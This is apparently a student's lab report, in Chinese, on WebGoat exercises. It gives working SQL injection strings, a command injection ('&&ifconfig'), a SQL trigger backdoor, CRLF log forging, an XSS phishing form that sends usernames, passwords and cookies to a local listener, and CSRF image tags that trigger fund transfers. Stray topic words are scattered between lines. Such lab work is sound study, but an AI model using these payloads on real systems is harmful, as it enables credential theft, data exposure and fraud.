(1)SQL注入攻擊原理,如何防護
原理:指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。
防護:在設計程序時,應該設計成不易篡改的或者說能有主動判斷合法性的代碼,而且將存有敏感信息的數據庫放在防火牆內部。php
(3)CSRF攻擊原理,如何防護
原理:一種對網站的惡意利用,CSRF能夠劫持會話和cookie來冒名進行一些操做。
防護:對web應用時進行設置,不長時間保存cookie,不訪問不良網站。html
網絡世界太危險,趕忙回火星。前端
java -jar webgoat-container-7.0.1-war-exec.jar
開啓webgoat。localhost:8080/WebGoat
,直接點擊登陸,進去。一個能夠查看信用卡號的表單,當使用SQL注入(在name裏輸入一個永真式a or 1
)時,則可讓全部的信用卡號都看得見。
java
AccessControlMatrix.help"&&ifconfig"
(僅僅加一個&&ifconfig
就行),go一下,成功!與上面的字符串注入不一樣,用戶名沒法輸入,因此在密碼上花功夫。仍是利用burpsuite代理注入。在password = ' '這裏進行注入or 1=1 --
這個永真式,不管什麼用戶名,都通通經過。
web
登陸成功!
sql
在userid中輸入101 or 1=1;--
,經過。
數據庫
理解題意:使用SQL語句實現:在myBackDoor表中一旦添加新用戶,那麼就在用戶表裏將新用戶的郵箱改成題目固定的郵箱(暗自想:黑客「偷錢」好簡單,網絡安全很重要)。so,插入SQL語句就能夠啦:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;
成功:
瀏覽器
這種攻擊是一種欺騙日誌的方法,操做很簡單:在用戶名中添加smith%0d%0aLogin Succeeded
,提交就成功啦。
安全
方法操做:在/var/www/html下編輯imgsrc.php(即一個釣魚網站)。保存以後,在輸入框中注入一段前端代碼:服務器
<script> function hack(){ str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie; str2="http://127.0.0.1:5320/imgsrc.php?" + str; XSSImage=new Image; XSSImage.src=str2; alert(str2); } </script> </form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="submit" value="Login" onclick="hack()"><br> </form><br><br><HR>
而後將提示用戶輸入帳號口令從而完成釣魚攻擊!
成功獲取信息,完成釣魚攻擊:
方法操做:在文本框中插入<script>alert("5222")</script>
,當點擊提交時,會彈出對話框。
感受這個攻擊方法沒有上面那個實用,雖然如今尚未想明白它能夠用來幹什麼,可是高端玩家應該是能夠利用起來的。
<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=4000"/>
方法操做:在massage中輸入命令:
<img src='attack?Screen=275&menu=900&transferFunds=5000'> <img src='attack?Screen=275&menu=900&transferFunds=CIONFIRM'>
成功!